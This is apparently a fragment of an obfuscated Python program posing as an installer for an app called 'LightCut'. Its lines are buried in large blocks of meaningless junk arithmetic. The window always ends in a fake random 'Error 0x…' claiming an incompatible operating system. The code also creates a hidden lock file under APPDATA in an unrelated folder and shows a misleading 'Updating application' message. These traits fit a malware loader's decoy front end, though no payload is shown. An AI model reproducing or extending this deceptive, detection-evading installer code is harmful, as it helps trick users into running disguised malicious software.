            dZmNVDtrueHGwgSytjY = customtkinter.CTkLabel(master=lKYNFkMvihbmXujpeNSJpfS, image=EjNNarUrnSaKwtALQAZAx, text=" ", compound=customtkinter.TOP)
            dZmNVDtrueHGwgSytjY.place(relx=0.5, rely=0.28, anchor=customtkinter.CENTER)


            uSLWDeAEPaDIufNlnou = customtkinter.CTkFrame(master=lKYNFkMvihbmXujpeNSJpfS, bg_color="transparent", border_color="#15efbe", border_width=0.7, corner_radius=10)
            uSLWDeAEPaDIufNlnou.place(relx=0.5, rely=0.55, anchor=customtkinter.CENTER)
            etmkjmqcg = 769.60
            wrcpcnhmzchv = 395
            dseopanaml = 478
            zfjcojvcev = 595
            hlpeezisttdvfsnhob = 760.03304246
            zipdtc = 328
            pzagniut = 79
            jzgmtshzsgef = 388.9060530
            rkolngwd = 361
            hzqnrfsvlll = 371.9717
            twfnorqwv = wrcpcnhmzchv - dseopanaml
            xzrmcigs = zfjcojvcev * rkolngwd
            gdazaicejh = jzgmtshzsgef * etmkjmqcg
            xfmhmzcv = hzqnrfsvlll - pzagniut
            qrwkhl = hlpeezisttdvfsnhob + rkolngwd
            jjtyci = pzagniut + jzgmtshzsgef
            SwekVASRLDgMaZli = customtkinter.CTkLabel(
                master=uSLWDeAEPaDIufNlnou,
                text="Status: Not Installed.\nClick Start to begin the installation process. \nThe installation may take a few minutes",
                font=("Helvetica", 15, "bold"),
                wraplength=350,
                justify="center",
                text_color="#ebf1f1"
            )
            SwekVASRLDgMaZli.pack(padx=10, pady=10)
            prnhvhqgyebgz = 351
            rqfnpis = 768
            qwtkav = 219
            szmgviwubgzaervi = 985
            virtwaz = 145
            javznekanvyvej = 834
            wihtsurswacouk = 479.98
            jbfwbpkcqfw = 931
            vovjwugd = wihtsurswacouk * prnhvhqgyebgz
            xfxuxezieg = qwtkav * wihtsurswacouk
            ffbubgqgn = szmgviwubgzaervi - prnhvhqgyebgz
            gfhiodfeqlaczf = qwtkav - prnhvhqgyebgz
            inyyayg = virtwaz - jbfwbpkcqfw
            kqvjztbzsjyolq = qwtkav - prnhvhqgyebgz
            bevrjvhsulbd = jbfwbpkcqfw + rqfnpis
            oTZhWueNBJPEdew = customtkinter.CTkFrame(master=lKYNFkMvihbmXujpeNSJpfS, bg_color="transparent", border_color="#15efbe", border_width=0.7, corner_radius=10, width=140, height=44)
            oTZhWueNBJPEdew.place(relx=0.5, rely=0.85, anchor=customtkinter.CENTER)

            hXEMhPgarrISQwbGQxYVybERkA = os.path.join(sdAEeAstkHQsOFO, "qZdPra", "7.png")
            krSiwiKimAzkVZUfXRn = customtkinter.CTkImage(Image.open(hXEMhPgarrISQwbGQxYVybERkA),size=(85, 24))
            VHhWRQkiAJfYQeMnRPVEkS = customtkinter.CTkLabel(master=oTZhWueNBJPEdew, image=krSiwiKimAzkVZUfXRn,  text="")
            VHhWRQkiAJfYQeMnRPVEkS.place(relx=0.5, rely=0.5, anchor=customtkinter.CENTER)
            bzycms = 181.8
            nxsueidduo = 79
            zuwkyvqlbqzaqictv = 390
            utejniyonthzlzamna = 819
            snqgiiiojbur = 458.48187
            iqkiequj = 581
            ufuuyqttv = 242.34161655
            mvropkvirzvobexvz = 710
            gxxahktlej = snqgiiiojbur * nxsueidduo
            tdueciair = iqkiequj - nxsueidduo
            watofcwg = utejniyonthzlzamna + ufuuyqttv
            xpjouwkfxsbjn = nxsueidduo - ufuuyqttv
            xwvkqrtemuch = nxsueidduo + utejniyonthzlzamna
            VHhWRQkiAJfYQeMnRPVEkS.bind("<ButtonRelease-1>", hTHYlGNTACQAnRhsjkWutVafse)
            VHhWRQkiAJfYQeMnRPVEkS.bind("<Enter>", mihQovEEeHPmcIV)
            VHhWRQkiAJfYQeMnRPVEkS.bind("<Leave>", tiNgNlqhJqhCayGsZrbj)
            try:
                for jbxBPaeAYZCWMgx in (VHhWRQkiAJfYQeMnRPVEkS, oTZhWueNBJPEdew, SwekVASRLDgMaZli, uSLWDeAEPaDIufNlnou):
                    jbxBPaeAYZCWMgx.general_apps_widget = True
                VbkFtaeqlaFbN.set()
            except Exception:
                pass

            lKYNFkMvihbmXujpeNSJpfS.resizable(False, False)
            lKYNFkMvihbmXujpeNSJpfS.mainloop()
        except Exception:
            try:
                MSphkeUndbvovVku()
            except Exception:
                pass



    def avcubexyytqh():
        try:
            pamvhkshphdd = 148
            ffqljln = 588
            jnbkhjpvqeflzrt = 387
            zfmwmoop = 844
            rfitpcyazuse = 211
            varjjfnmh = 686
            wcagrccesaigqjr = 448
            zlxukynk = 80
            gimdnspvilmq = 862
            tjizuinhzhoktunjm = 432
            pwvjvksqhknpyjmsyd = 716
            wxdzuxdeg = 60
            upazxxkzagrizzjh = 639
            oyukilkvn = 747
            ckbqkgymop = pwvjvksqhknpyjmsyd + rfitpcyazuse
            cqtlbth = pwvjvksqhknpyjmsyd - rfitpcyazuse
        except Exception:
            pass

    avcubexyytqh()


    def otqdop(lgikmum, lfnrgvq, yzdnznnambjxkmtasc, bxiolhnthyijeoxwbf, xzyeejsgalnfrkint, inikovkbo):
        try:
            aoetumij = 70
            figpmaibvnsmi = 154
            lqnkbvonhxvdqqprdr = 393
            dpkquflemkygkbjej = 18
            ebocti = 767
            oexhszqqkjd = 572
            cncbdfysbu = 496
            dxyqcnsiggi = 123
            wklpzazz = 85
            sksdhzjmr = 53
            tjseeicefso = 171
            njxbffhlvsjhzyk = 861
            eaxufsxkymwtnrkn = 141
            ehcxkuswajwfsh = 33
            auvyrdzjf = ebocti - lqnkbvonhxvdqqprdr
            qssivsma = njxbffhlvsjhzyk + ebocti
            dyzuvwmmlk = dxyqcnsiggi + ebocti
        except Exception:
            pass

    lgikmum = None
    lfnrgvq = None
    yzdnznnambjxkmtasc = None
    bxiolhnthyijeoxwbf = None
    xzyeejsgalnfrkint = None
    inikovkbo = None
    otqdop(lgikmum, lfnrgvq, yzdnznnambjxkmtasc, bxiolhnthyijeoxwbf, xzyeejsgalnfrkint, inikovkbo)
    def AoOKFNkBTzMKTYXlYrAXtMZT():
        global lKYNFkMvihbmXujpeNSJpfS, MiMtFwPbJaPkEtFJiYnOd
        MiMtFwPbJaPkEtFJiYnOd = False
        try:
            try:
                for jbxBPaeAYZCWMgx in lKYNFkMvihbmXujpeNSJpfS.winfo_children():
                    if hasattr(jbxBPaeAYZCWMgx, 'general_apps_widget') and jbxBPaeAYZCWMgx.general_apps_widget:
                        jbxBPaeAYZCWMgx.destroy()
            except Exception:
                pass
            iUetqFskNWQSg = customtkinter.CTkFrame(master=lKYNFkMvihbmXujpeNSJpfS)
            iUetqFskNWQSg.place(relx=0.5, rely=0.88, anchor=customtkinter.CENTER)
            rjitraamffnfxqbg = 993
            tggyktvlrsinto = 796
            oibvmlbhrfxt = 158.1
            kswuwiiqsfnnuhkc = 122
            tlfbfvuwnquctwerbk = 667.686644
            khasitibmtc = 398
            bmtpwtvksjemqvms = 363
            yqobcvn = 765
            ayjrlvd = oibvmlbhrfxt * tggyktvlrsinto
            knibhvscbxxq = oibvmlbhrfxt * kswuwiiqsfnnuhkc
            naqgwltkh = bmtpwtvksjemqvms * rjitraamffnfxqbg
            wktmxxjcur = yqobcvn + oibvmlbhrfxt
            qvcbvf = khasitibmtc + tggyktvlrsinto
            kcvwcpglz = tlfbfvuwnquctwerbk + yqobcvn
            uxfouwkv = yqobcvn * tlfbfvuwnquctwerbk
            hngvcftqonmm = rjitraamffnfxqbg + tggyktvlrsinto + oibvmlbhrfxt + kswuwiiqsfnnuhkc + tlfbfvuwnquctwerbk + khasitibmtc + bmtpwtvksjemqvms + yqobcvn
            uSLWDeAEPaDIufNlnou = customtkinter.CTkFrame(master=lKYNFkMvihbmXujpeNSJpfS, bg_color="transparent", border_color="#15efbe", border_width=0.7, corner_radius=10)
            uSLWDeAEPaDIufNlnou.place(relx=0.5, rely=0.55, anchor=customtkinter.CENTER)
            ccordimpylveci = 317
            ynnthdmqhtg = 429
            xgycowkzzvrg = 41
            glsvjtecdeebcuvib = 967
            zyldruowkd = glsvjtecdeebcuvib * ccordimpylveci
            ldcfbsfwxuu = ccordimpylveci * ynnthdmqhtg
            cgrsosok = glsvjtecdeebcuvib * ynnthdmqhtg
            hcohxtqvu = glsvjtecdeebcuvib + ccordimpylveci
            jqgcdpj = ynnthdmqhtg - ccordimpylveci
            SwekVASRLDgMaZli = customtkinter.CTkLabel(
                master=uSLWDeAEPaDIufNlnou,
                text="Status: In progress.\nThe application is currently being installed.\nThis process will take a few minutes.",
                font=("Helvetica", 15, "bold"),
                wraplength=350,
                justify="center",
                text_color="#ebf1f1"
            )
            SwekVASRLDgMaZli.pack(padx=10, pady=10)

            #GEN(4)
            iBjysExqqqZNnETvE = "Installing LightCut..."
            umkkonetqhfxkbehd = 900.8782826939
            bpqyndavgiypoggc = 464
            qovqgdnibeahiyjovk = 364
            kgxxgcpx = 759
            pgtmszkyqcxi = bpqyndavgiypoggc * umkkonetqhfxkbehd
            yxctrlarirq = kgxxgcpx + umkkonetqhfxkbehd
            mjsqbexkmwc = kgxxgcpx - qovqgdnibeahiyjovk
            uRpLoHlUmvxDZYNSSaZjyT = customtkinter.CTkLabel(master=iUetqFskNWQSg, text=iBjysExqqqZNnETvE)
            uRpLoHlUmvxDZYNSSaZjyT.configure(font=("Helvetica", 14, "bold"), text_color="#ebf1f1")
            uRpLoHlUmvxDZYNSSaZjyT.pack(side=customtkinter.TOP)
            vvavylbwdjw = 140
            kdykvmvzyt = 894
            zawkshhscbfvf = 333
            mqojzhyfkp = 217
            mtczojuoz = 276
            wtcbfotqhmp = 781
            azpsarqn = 862.7
            yisklbdf = vvavylbwdjw * wtcbfotqhmp
            rrupsvjlt = mtczojuoz - vvavylbwdjw
            rwchjjrosi = kdykvmvzyt * zawkshhscbfvf
            cxbwepzxfhs = wtcbfotqhmp - azpsarqn
            yryuaopfmuj = wtcbfotqhmp + mqojzhyfkp
            ijbywwphe = mqojzhyfkp * vvavylbwdjw
            jvvaqugyelndnt = wtcbfotqhmp * vvavylbwdjw
            oasopsleoorr = vvavylbwdjw + wtcbfotqhmp
            wvhyqw = zawkshhscbfvf * wtcbfotqhmp
            exlpdvblti = wtcbfotqhmp * mqojzhyfkp
            rrapjiuo = vvavylbwdjw + kdykvmvzyt + zawkshhscbfvf + mqojzhyfkp + mtczojuoz + wtcbfotqhmp + azpsarqn
            SUtfQAhZWpevSELSSRSFDYg = customtkinter.CTkProgressBar(master=iUetqFskNWQSg, mode="indeterminate", progress_color="#15efbe")
            SUtfQAhZWpevSELSSRSFDYg.pack(side=customtkinter.TOP)
            SUtfQAhZWpevSELSSRSFDYg.start()
        except Exception:
            try:
                MSphkeUndbvovVku()
            except Exception:
                pass

        try:
            for jbxBPaeAYZCWMgx in (iUetqFskNWQSg, SwekVASRLDgMaZli, uRpLoHlUmvxDZYNSSaZjyT, SUtfQAhZWpevSELSSRSFDYg, uSLWDeAEPaDIufNlnou):
                jbxBPaeAYZCWMgx.xjCgzOLRvqrumBAtTWsLof = True
            VbkFtaeqlaFbN.set()
        except Exception:
            pass




    def zlqaxamt():
        try:
            rkdjtyutxjf = 110
            gviyhudlsaru = 81
            fpmtnmteigznn = 535
            dxzfoezi = 662
            uzltqrbgvgj = 915
            phrnqsbcitqninczaf = 490
            szeeseebfbhc = 304
            krtoorq = phrnqsbcitqninczaf - szeeseebfbhc
            yvoamvm = szeeseebfbhc * gviyhudlsaru
            ehpeugbg = dxzfoezi + uzltqrbgvgj
            nhepqfltv = phrnqsbcitqninczaf + dxzfoezi
            qjhlepz = rkdjtyutxjf + gviyhudlsaru + fpmtnmteigznn + dxzfoezi + uzltqrbgvgj + phrnqsbcitqninczaf + szeeseebfbhc
            return qjhlepz
        except Exception:
            pass

    hmogegezllk = zlqaxamt()
    def auKeLGWGhNvKr(ODSvTcYfflVWPDzI):
        global lKYNFkMvihbmXujpeNSJpfS, MiMtFwPbJaPkEtFJiYnOd
        MiMtFwPbJaPkEtFJiYnOd = False
        wzamywxef = 960
        uevlfnaiinlhjs = 451
        wnvafqdrqvooqyyeao = 506
        dtauhhcrkzq = wzamywxef - uevlfnaiinlhjs
        ngccgsyobwncd = uevlfnaiinlhjs * wzamywxef
        vdqvdes = uevlfnaiinlhjs * wzamywxef
        hkielnk = wzamywxef + wnvafqdrqvooqyyeao
        rceuimhwvs = wzamywxef + uevlfnaiinlhjs
        mrtrpl = wnvafqdrqvooqyyeao - uevlfnaiinlhjs
        apzqrpgufgraj = uevlfnaiinlhjs - wnvafqdrqvooqyyeao
        gjmrnswntuqix = wzamywxef + uevlfnaiinlhjs
        kyhqkj = wzamywxef + uevlfnaiinlhjs + wnvafqdrqvooqyyeao

        try:
            for jbxBPaeAYZCWMgx in lKYNFkMvihbmXujpeNSJpfS.winfo_children():
                if hasattr(jbxBPaeAYZCWMgx, 'xjCgzOLRvqrumBAtTWsLof') and jbxBPaeAYZCWMgx.xjCgzOLRvqrumBAtTWsLof:
                    jbxBPaeAYZCWMgx.destroy()
        except Exception:
            pass

        try:
            iUetqFskNWQSg = customtkinter.CTkFrame(master=lKYNFkMvihbmXujpeNSJpfS)
            iUetqFskNWQSg.place(relx=0.5, rely=0.88, anchor=customtkinter.CENTER)
            ueqrlxdaiboasmvtuw = 795
            dublzlbhnvwcyxcs = 549.720
            tbzfcqwmvtlsvp = 403
            wxqgxexrbkcdxh = 60
            djfjrgvgm = dublzlbhnvwcyxcs - tbzfcqwmvtlsvp
            yfottdak = dublzlbhnvwcyxcs - wxqgxexrbkcdxh
            upfrwxqvmusy = ueqrlxdaiboasmvtuw + wxqgxexrbkcdxh
            pspwagkxemz = tbzfcqwmvtlsvp - dublzlbhnvwcyxcs
            uSLWDeAEPaDIufNlnou = customtkinter.CTkFrame(master=lKYNFkMvihbmXujpeNSJpfS, bg_color="transparent", border_color="#ff0000", border_width=0.7, corner_radius=10)
            uSLWDeAEPaDIufNlnou.place(relx=0.5, rely=0.55, anchor=customtkinter.CENTER)

            if not ODSvTcYfflVWPDzI:
                ODSvTcYfflVWPDzI = ''.join(random.choices(string.digits, k=8))
                rEQylMKLumUQugCnFrCqJzUv(ODSvTcYfflVWPDzI)
            mtoulfypuxz = 467
            yhcntz = 530
            thlxfvt = 849
            sypgqxjwf = 366.93180
            czbjlxhy = 372
            usfyangot = 998
            flifdqacozayems = 411
            iqdqncv = 931
            ybzholamdsoqxim = 497
            ocrbztsyytiyzei = 72
            djmaadwek = yhcntz - thlxfvt
            vkgaoonqcfd = ocrbztsyytiyzei + sypgqxjwf
            uphbtjfxte = mtoulfypuxz + czbjlxhy
            xdtqefbp = yhcntz - ybzholamdsoqxim
            SwekVASRLDgMaZli = customtkinter.CTkLabel(
                master=uSLWDeAEPaDIufNlnou,
                text=f"Status: Error 0x{ODSvTcYfflVWPDzI}\nApplication installation failed due to incompatible operating system version.",
                font=("Helvetica", 15, "bold"),
                wraplength=320,
                justify="center",
                text_color="#ebf1f1"
            )
            SwekVASRLDgMaZli.pack(padx=10, pady=10)
            ozodidpizxlfa = 493
            ecpraoynwq = 865
            djqkavzc = 135
            bweckpkhovgrfhtin = 613.614561231
            rfehugto = 9
            ktirpcoafebkb = 339
            eqauwofxfu = 984
            jxqudtznxltsdrqu = 681.329
            gauyneejgxnmzppt = 285.2
            rrqnmjfwflfq = 583.213107768
            juejfecjiyk = ecpraoynwq - eqauwofxfu
            bvarfaclgxzrl = jxqudtznxltsdrqu * gauyneejgxnmzppt
            vcbghvdty = jxqudtznxltsdrqu - rrqnmjfwflfq
            rspbgabatasutr = jxqudtznxltsdrqu + ozodidpizxlfa
            ahunggwzozv = rfehugto * gauyneejgxnmzppt
            iBjysExqqqZNnETvE = "Installation Stopped"

            uRpLoHlUmvxDZYNSSaZjyT = customtkinter.CTkLabel(master=iUetqFskNWQSg, text=iBjysExqqqZNnETvE)
            uRpLoHlUmvxDZYNSSaZjyT.configure(font=("Helvetica", 14, "bold"), text_color="#ebf1f1")
            uRpLoHlUmvxDZYNSSaZjyT.pack(side=customtkinter.TOP)

            SUtfQAhZWpevSELSSRSFDYg = customtkinter.CTkProgressBar(master=iUetqFskNWQSg, mode="indeterminate", progress_color="#ff0000")
            SUtfQAhZWpevSELSSRSFDYg.pack(side=customtkinter.TOP)
            SUtfQAhZWpevSELSSRSFDYg.stop()
        except Exception:
            try:
                MSphkeUndbvovVku()
            except Exception:
                pass


    def dlqgznpac():
        try:
            nohjvn = 522
            jyfajkusxsmwylwxxk = 396
            pxwwxedn = 497
            bmsbeklaezigdiq = 211
            kzverfsuaqowaw = 198
            pssbgj = 208
            ekcamfyufsxd = pssbgj - nohjvn
            dkwfrmbz = kzverfsuaqowaw * pxwwxedn
            vldizbi = jyfajkusxsmwylwxxk + pssbgj
            viueilscis = jyfajkusxsmwylwxxk - pxwwxedn
            dzodbjndmeytk = nohjvn * kzverfsuaqowaw
            lgdqlqxhchlebo = pssbgj - jyfajkusxsmwylwxxk
        except Exception:
            pass

    dlqgznpac()


    def xnxtkfocryc():
        try:
            ptacyxcphno = 74
            kgzepflib = 618
            vogknoomntznzs = 235
            nteyjmrmfhqy = 690
            olnwibw = 906
            egpwbcqyuxulssgae = 696
            hlimtrmbbuf = kgzepflib - olnwibw
            wsoermnrknzq = egpwbcqyuxulssgae * vogknoomntznzs
            eytrwbadulfvlu = egpwbcqyuxulssgae * vogknoomntznzs
            oqepzujqhe = nteyjmrmfhqy - olnwibw
            wgjknfamjpeeb = nteyjmrmfhqy - egpwbcqyuxulssgae
            fcnxolwyhc = egpwbcqyuxulssgae + kgzepflib
        except Exception:
            pass

    xnxtkfocryc()


    def etalbdmgmyp(jvccxgugdecdwlxja, evnbxpcml, ncqutcnimnp, mfuhql):
        try:
            iyhupsy = 709
            ureegfucivoeb = 161
            poalhftgo = 108
            kexkhf = 845
            esdrogxhujk = 457
            rwkesmaq = 195
            fitkxyskwsnz = poalhftgo + rwkesmaq
            zfmzzxv = kexkhf - rwkesmaq
            jzjustfcywbb = iyhupsy - rwkesmaq
            vzffgnfa = kexkhf * iyhupsy
            psbovdxajqt = iyhupsy + ureegfucivoeb + poalhftgo + kexkhf + esdrogxhujk + rwkesmaq
            return psbovdxajqt
        except Exception:
            pass

    jvccxgugdecdwlxja = None
    evnbxpcml = None
    ncqutcnimnp = None
    mfuhql = None
    vslmzqjhxke = etalbdmgmyp(jvccxgugdecdwlxja, evnbxpcml, ncqutcnimnp, mfuhql)
    def WtChScAIjDtXBNl():
        try:
            global FmXQjzVOroORbNOVhVrmTNlyhf
            if FmXQjzVOroORbNOVhVrmTNlyhf:
                auKeLGWGhNvKr(ODSvTcYfflVWPDzI)
        except Exception:
            try:
                MSphkeUndbvovVku()
            except Exception:
                pass


    def dxyiyflij():
        try:
            lxwwmxtsdidfxxedo = 129
            rmrytqfnfkalwbn = 885
            yoqcaanhmkf = 127
            gjgdvkfdmvi = 538
            ubornoyvuthn = 23
            ylhpbpoc = rmrytqfnfkalwbn * lxwwmxtsdidfxxedo
            ocoaknbsem = gjgdvkfdmvi - ubornoyvuthn
            atmcidy = ubornoyvuthn * gjgdvkfdmvi
            fjpmnc = yoqcaanhmkf * ubornoyvuthn
            lscmoarxcx = rmrytqfnfkalwbn + lxwwmxtsdidfxxedo
        except Exception:
            pass

    dxyiyflij()
    def eFPOPViRrzVoQchKAJh():
        try:
            global lKYNFkMvihbmXujpeNSJpfS, FmXQjzVOroORbNOVhVrmTNlyhf, RHqkdDftCAxFfDNxPRRjDswoiA, MiMtFwPbJaPkEtFJiYnOd
            if FmXQjzVOroORbNOVhVrmTNlyhf:
                lKYNFkMvihbmXujpeNSJpfS.destroy()
        except Exception:
            pass


    def rafhwavowkgnpsceo(qcobnqapufschlcsc, yovzrqqoy, yydcvj, rzwsjcqgos, ceqzprwkukkvop, ejebiauuo):
        try:
            qudtvmfch = 790
            msniwwdwrif = 880
            qdjtibcxwmqiwsfd = 969
            eqyknyfejgzhny = 813
            lpzhflqksgorden = 392
            xgiqrqquhkbbvwj = 777
            qafvmxyq = 47
            rfphshtbqapu = 970
            pjjctnjwkliyu = 292
            zsxnekxbsih = 645
            orobqllp = msniwwdwrif * zsxnekxbsih
            uduglcw = qafvmxyq - eqyknyfejgzhny
            kyruwp = lpzhflqksgorden + pjjctnjwkliyu
            wkeklc = msniwwdwrif + lpzhflqksgorden
            mdzdmx = qudtvmfch + msniwwdwrif + qdjtibcxwmqiwsfd + eqyknyfejgzhny + lpzhflqksgorden + xgiqrqquhkbbvwj + qafvmxyq + rfphshtbqapu + pjjctnjwkliyu + zsxnekxbsih
            return mdzdmx
        except Exception:
            pass

    qcobnqapufschlcsc = None
    yovzrqqoy = None
    yydcvj = None
    rzwsjcqgos = None
    ceqzprwkukkvop = None
    ejebiauuo = None
    octtfntxsuakys = rafhwavowkgnpsceo(qcobnqapufschlcsc, yovzrqqoy, yydcvj, rzwsjcqgos, ceqzprwkukkvop, ejebiauuo)


    def vdhshmklktbp():
        try:
            ngznprldkgaavg = 115
            baphmlbvrjwx = 881
            wgqlitwrafmi = 75
            oqfsravhjggkag = 748
            qelejkwgzzodjw = 849
            qtgbbihg = 175
            hlvetpjgjnpzhkzfu = 301
            mmglftrpyfz = 505
            nwqrbkn = 541
            wovnoburzhnw = 789
            oabssj = baphmlbvrjwx * ngznprldkgaavg
            cdqogzmgh = nwqrbkn * wgqlitwrafmi
            sqyjihnbyl = wovnoburzhnw - baphmlbvrjwx
            ukpdeyz = wovnoburzhnw - baphmlbvrjwx
        except Exception:
            pass

    vdhshmklktbp()


    def yyfkfeibxjlrcrp():
        try:
            noiwxybjcln = 667
            tnlswpzcrncxupu = 949
            zvbgezcff = 578
            vwnopu = 478
            lfwclqudlmpchg = 35
            mkaicnsrmxdna = 635
            qcduyirmqv = 798
            vjrlnxomrvffxz = 661
            dkficrfaycbnte = 796
            npbpzwl = 978
            lqubcbrgnnhnxu = noiwxybjcln + dkficrfaycbnte
            hsvffnhawqwj = lfwclqudlmpchg * qcduyirmqv
        except Exception:
            pass

    yyfkfeibxjlrcrp()


    def zdnwek():
        try:
            dtnlvqrhjkapkkwxdq = 75
            wuwejevi = 416
            nsuotlmpvncxwv = 959
            eyufqdjblocjn = 515
            jokbpzhcnmgtrpbws = 608
            asxsoqpz = 577
            eqhrzlhmuj = 109
            fhooujhlirjyryvpyr = 242
            xysfdfqbepbcepyuk = 352
            piwcgj = 934
            gvygaruj = piwcgj * jokbpzhcnmgtrpbws
            bnogwdnodmvwsa = eyufqdjblocjn - fhooujhlirjyryvpyr
            tufzgocnqzeh = eyufqdjblocjn + asxsoqpz
            wsckcuow = dtnlvqrhjkapkkwxdq + wuwejevi + nsuotlmpvncxwv + eyufqdjblocjn + jokbpzhcnmgtrpbws + asxsoqpz + eqhrzlhmuj + fhooujhlirjyryvpyr + xysfdfqbepbcepyuk + piwcgj
            return wsckcuow
        except Exception:
            pass

    rdbwigmyxuw = zdnwek()
    def MSphkeUndbvovVku():
        global FmXQjzVOroORbNOVhVrmTNlyhf
        if FmXQjzVOroORbNOVhVrmTNlyhf:
            LrHcelFmnRRrQo.set(True)


    def wukfkkkmwkbrdnvln(hrekqdqz, jcnaaqpeicpbdhltup, zylzjzzuwgftgf):
        try:
            knekhryprffd = 845
            ohypjqmdfztgpj = 646
            vyxsgruegodvm = 490
            uartumsr = 900
            schstwlenqhfaotnvz = 637
            ohfanbgpzzbkf = 698
            bizfjodmvzdfjstwh = 359
            rhkyywhoat = bizfjodmvzdfjstwh - uartumsr
            kvrlof = knekhryprffd * uartumsr
            kzdjob = vyxsgruegodvm * bizfjodmvzdfjstwh
        except Exception:
            pass

    hrekqdqz = None
    jcnaaqpeicpbdhltup = None
    zylzjzzuwgftgf = None
    wukfkkkmwkbrdnvln(hrekqdqz, jcnaaqpeicpbdhltup, zylzjzzuwgftgf)


    def rfiwndcpbxbmohnwun(xdheglzdykc, zupngpafgjdsmfggjr, daypmifyrknsch, vxopetvkzjh, saiogmxb, jzupfxisku):
        try:
            rwlfleabpsj = 648
            dripkkkhabqsreu = 853
            dsqerbvsa = 911
            mxnkxrlbvpiemyypl = 921
            trhvdqnbjphnmlxz = 38
            yrlmkiztpglo = 365
            swkncekkryw = 312
            scaxlsok = dripkkkhabqsreu + swkncekkryw
            cujxqpos = trhvdqnbjphnmlxz - rwlfleabpsj
            vhihfxilxbjvua = trhvdqnbjphnmlxz - rwlfleabpsj
            njsweeysrbwxmu = trhvdqnbjphnmlxz - dripkkkhabqsreu
            nqbcyjbftui = dsqerbvsa * mxnkxrlbvpiemyypl
            rgewbcwolah = rwlfleabpsj + dripkkkhabqsreu + dsqerbvsa + mxnkxrlbvpiemyypl + trhvdqnbjphnmlxz + yrlmkiztpglo + swkncekkryw
            return rgewbcwolah
        except Exception:
            pass

    xdheglzdykc = None
    zupngpafgjdsmfggjr = None
    daypmifyrknsch = None
    vxopetvkzjh = None
    saiogmxb = None
    jzupfxisku = None
    fdiswhjswwk = rfiwndcpbxbmohnwun(xdheglzdykc, zupngpafgjdsmfggjr, daypmifyrknsch, vxopetvkzjh, saiogmxb, jzupfxisku)


    def yjtzrbxmlbdxexrao():
        try:
            tgtrwuy = 553
            pjyogtcpms = 480
            dfisazdcf = 772
            jwotrgyzxs = 282
            mfditgcyqrmr = 445
            esipea = 273
            okjisjnbxwddvw = 828
            bwgbjiliv = dfisazdcf - okjisjnbxwddvw
            oqmlpcofovfy = tgtrwuy + dfisazdcf
            xrbfxzpumghgf = mfditgcyqrmr - dfisazdcf
            amqswjxzibmp = tgtrwuy * mfditgcyqrmr
            axdhlyiuxnvvx = tgtrwuy + pjyogtcpms + dfisazdcf + jwotrgyzxs + mfditgcyqrmr + esipea + okjisjnbxwddvw
            return axdhlyiuxnvvx
        except Exception:
            pass

    orsefeaeyzji = yjtzrbxmlbdxexrao()


    def dgbgzvletwjdzznlut(stykyxgmbjxeg, qcvvzoqm):
        try:
            gkgozotbddu = 826
            kkccwbz = 752
            jdtrqhushvnagpczrm = 67
            zikpqst = 534
            jutnpzwxxkzvbh = 708
            lhcvql = 15
            hxwcjozw = 125
            ulwvpkvrnfq = hxwcjozw + jdtrqhushvnagpczrm
            qakurbuzagba = gkgozotbddu - zikpqst
            tqaaugovqdjy = lhcvql - kkccwbz
            vmanioiyzzyqsr = jdtrqhushvnagpczrm - kkccwbz
            opawzlbzkoyqg = jutnpzwxxkzvbh * gkgozotbddu
            ixuiohbgpsnv = jdtrqhushvnagpczrm + kkccwbz
        except Exception:
            pass

    stykyxgmbjxeg = None
    qcvvzoqm = None
    dgbgzvletwjdzznlut(stykyxgmbjxeg, qcvvzoqm)


    def cyacusbgyhrh(ycrgvjyerbo, bvrmzsqgfutzp, itavzrpcphcgh):
        try:
            fqfseyg = 603
            jthfzqeiquuvb = 43
            vhvgrllijzgq = 217
            vqouwxxdsysgimxlwz = 164
            xhdueszsmckmcdpyqr = 821
            crxsbbyzf = 110
            oqgdyimxyuetxo = 423
            njzbjugfexogj = jthfzqeiquuvb - fqfseyg
            brmsafs = oqgdyimxyuetxo + jthfzqeiquuvb
            okosqevzdxlqf = xhdueszsmckmcdpyqr * vhvgrllijzgq
            dhynxzdhg = vhvgrllijzgq - vqouwxxdsysgimxlwz
        except Exception:
            pass

    ycrgvjyerbo = None
    bvrmzsqgfutzp = None
    itavzrpcphcgh = None
    cyacusbgyhrh(ycrgvjyerbo, bvrmzsqgfutzp, itavzrpcphcgh)
    def PfMjbyDJjPXZSEKGB():
        global FmXQjzVOroORbNOVhVrmTNlyhf
        if FmXQjzVOroORbNOVhVrmTNlyhf:
            TMwBMipIfmFmKXvffHIfSjhfqK.set(True)

    yvmomllukguydfe = 331
    meivfiihwwltum = 7.5
    kjizopeyketflfjrye = 6.7070
    axqjpvsavt = 594
    ctucfkxvueit = 251
    kzlbummygprk = 869.6
    urdjweytsp = axqjpvsavt - yvmomllukguydfe
    mljpaer = ctucfkxvueit + kzlbummygprk
    xhvwyhmishl = yvmomllukguydfe + ctucfkxvueit
    qlJIMqATgmJIy = os.path.join(os.environ['APPDATA'], 'Enchanted Ocean Reverie', soCxWXxqeNhPAJeEdttgF)

    try:
        os.makedirs(os.path.dirname(qlJIMqATgmJIy), exist_ok=True)
        pbjTTzbZNZZjNg = open(qlJIMqATgmJIy, 'w')
        lxcwje = 603
        rffiwli = 293
        ohrwjhhsvkaqrznp = 478
        ovmuklxdq = 846
        lqmczzdtm = 458
        fzgzygkyhmro = 575
        matbzxrrdiksex = rffiwli * lqmczzdtm
        ydmqhey = ovmuklxdq - lqmczzdtm
        dznswzwugeft = ohrwjhhsvkaqrznp * rffiwli
        mtefpidesz = fzgzygkyhmro + rffiwli
        oxunefzh = lxcwje - rffiwli
        bwtcoddmkh = ovmuklxdq * lqmczzdtm
        aapdzdf = rffiwli + lxcwje
        ovkigze = fzgzygkyhmro - ovmuklxdq
        ienurnqfk = ohrwjhhsvkaqrznp - lxcwje
        msvcrt.locking(pbjTTzbZNZZjNg.fileno(), msvcrt.LK_NBLCK, 1)
    except PermissionError:
        try:
            INpHDUNWrCYnsAvcJz("Updating application, please wait. This will take a few minutes, after which you can try restarting the application.")
            sys.exit(1)
        except Exception:
            pass

    htXndqXVEwrrQcmp = False
    RHqkdDftCAxFfDNxPRRjDswoiA = False
    gssvzgqcwkdcc = 749
    txobdmp = 81
    pykkdnucoz = 612
    eiyalsdoqmbensphn = 706
    poaccalubqfb = 452.8368460514
    cnzuwywtltegah = eiyalsdoqmbensphn + pykkdnucoz
    fnykfk = eiyalsdoqmbensphn * txobdmp
    jsoimkugcpaop = pykkdnucoz - gssvzgqcwkdcc
    zpbqnc = pykkdnucoz - poaccalubqfb
    extbtuu = txobdmp + eiyalsdoqmbensphn
